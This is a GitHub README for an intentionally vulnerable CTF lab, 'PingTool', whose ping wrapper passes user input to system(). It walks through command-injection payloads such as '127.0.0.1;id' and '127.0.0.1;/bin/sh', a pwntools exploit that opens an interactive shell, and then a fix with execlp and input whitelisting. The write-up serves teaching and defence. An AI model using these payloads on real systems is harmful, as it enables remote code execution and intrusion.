Skip to content

Latest commit

 

History

History

command-injection

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

README.md

PingTool — Command Injection → RCE

📝 Overview

PingTool is a small CLI wrapper around ping. The user-supplied host string is concatenated into a shell command and passed to system() without escaping. Any shell metacharacter (;, |, &, $(), `, \n) breaks out of the ping invocation and runs attacker-chosen commands.

This is CWE-78: OS Command Injection — the same bug class behind CVE-2014-6271 (Shellshock variants), CVE-2016-1897 (FFmpeg SSRF), CVE-2021-22205 (GitLab ExifTool), and countless IoT router CVEs.

🛡️ Security Mitigations (intentional for the lab)

Mitigation State Notes
Arch i386 Irrelevant — no memory corruption
RELRO / Canary / NX / PIE varies None of these help — bug is at the API boundary
ASLR Enabled Irrelevant — no addresses needed

Command injection is a logic bug, not a memory-safety bug. No compiler or runtime memory mitigation stops it. Only input handling at the API layer does.

🛠️ Compilation

gcc -m32 -g -fno-stack-protector -no-pie -z norelro PingTool.c -o pingtool

🧨 The Bug (2 lines)

snprintf(cmd, sizeof(cmd), "ping -c 1 %s", host);  // host ← user input
system(cmd);                                        // passed to /bin/sh

system() invokes /bin/sh -c "<cmd>". The shell parses host as shell syntax, so any of these metacharacters allows chaining:

Metachar Meaning
; Sequential execution
| Pipe
|| Execute if previous failed
&& Execute if previous succeeded
& Background
$() Command substitution
`...` Command substitution (legacy)
\n Newline — same as ;

🔬 Exploit Walkthrough

Stage 0 — Manual sanity check

$ ./pingtool
> 1
host: 127.0.0.1;whoami
[ping] ping -c 1 127.0.0.1;whoami
ping: socktype: SOCK_RAW
ping: socket: Operation not permitted
ishan                                    ← RCE proof

The ishan line proves the shell executed our injected command — regardless of ping's exit status (WSL blocks SOCK_RAW without CAP_NET_RAW, but the ; still continues).

Stage 1 — Programmatic RCE proof

exploit.py runs id via injection and asserts uid= is present:

out = inject(p, b"127.0.0.1;id")
assert b'uid=' in out

If uid= is missing → the injection didn't fire. Script exits loudly.

Critical detail — prompt parsing: the naive terminator b'> ' matches ping's ping: => error line, cutting the capture short before uid= arrives. The fixed script uses b'3. quit\n> ' — unique to the menu, cannot be produced by ping's output.

Stage 2 — Interactive shell

Trigger: 127.0.0.1;/bin/sh

After ping exits, the shell runs /bin/sh. Its stdin/stdout are the same pipes pwntools owns, so subsequent lines go straight to the shell:

inject(p, b"127.0.0.1;/bin/sh", wait_menu=False)
sh(b"id")        # uid=1000(ishan) ...
sh(b"whoami")    # ishan

The wait_menu=False flag tells inject not to expect a menu prompt after — /bin/sh takes over and never returns to main().

💥 Running

Local:

python3 exploit.py

Remote:

# Terminal 1
socat TCP-LISTEN:9090,reuseaddr,fork EXEC:./pingtool

# Terminal 2 — flip USE_REMOTE = True in exploit.py
python3 exploit.py

Expected:

[+] RCE CONFIRMED — uid=1000(ishan) gid=1000(ishan) ...
$ id 2>&1
uid=1000(ishan) gid=1000(ishan) ...
$ whoami 2>&1
ishan
$ uname -a 2>&1
Linux DESKTOP-1I420O9 ...
[*] Switching to interactive mode
$ ls
exploit.py  pingtool  PingTool.c

⚠️ Diagnostic — the => trap

The first version of exploit.py hung on recvuntil(b'> ') because:

ping: => missing cap_net_raw+p capability or setuid?
        ^^
        recvuntil(b'> ') stops HERE

The > inside => matched the terminator, so uid=... was never captured. Symptom: no 'uid=' in output — injection did not fire, even though the manual test showed RCE works.

Fix: use b'3. quit\n> ' — the last line of the menu is unique and cannot be produced by ping's stderr.

MENU = b'3. quit\n> '

🛠️ Fixing the Vulnerability

Source fix — do not use system()

#include <unistd.h>
#include <sys/wait.h>

static void run_ping(const char *host) {
    pid_t pid = fork();
    if (pid == 0) {
        execlp("ping", "ping", "-c", "1", "--", host, (char *)NULL);
        _exit(127);
    }
    waitpid(pid, NULL, 0);
}

Why this is safe:

  • execlp exec's /usr/bin/ping directly — no shell involved.
  • Each argument is a separate argv[] entry — metacharacters are passed as literal bytes to ping, not interpreted.
  • The -- stops option injection (e.g., host = -f).

Defense in depth

Fix Effect
Never system() user input Eliminates the bug class
execvp / posix_spawn No shell, no metacharacters
Whitelist input (^[a-zA-Z0-9.\-:]+$) Blocks metacharacters even if system() slips in
Prefer getaddrinfo() over ping No subprocess at all
Semgrep rule shell-injection in CI Catches regressions before merge
Least privilege (drop caps, seccomp) If RCE succeeds, blast radius shrinks

🎯 Skills Demonstrated

Step Concept
Recognize system(user_input) as a sink API-level threat model
;id / ;/bin/sh payloads Shell metacharacter classes
Programmatic RCE proof vs manual Reproducibility discipline
Prompt-parsing bug (=> vs > ) Robust I/O discipline in exploits
execlp fix Correct API choice at the fix layer
Whitelist as defense in depth Layered mitigation
No memory mitigation applies Bug-class taxonomy understanding

⚖️ Disclaimer

Intentionally vulnerable — educational / CTF use only. Do not deploy where untrusted users can reach it.

Credit: Ishan Oshada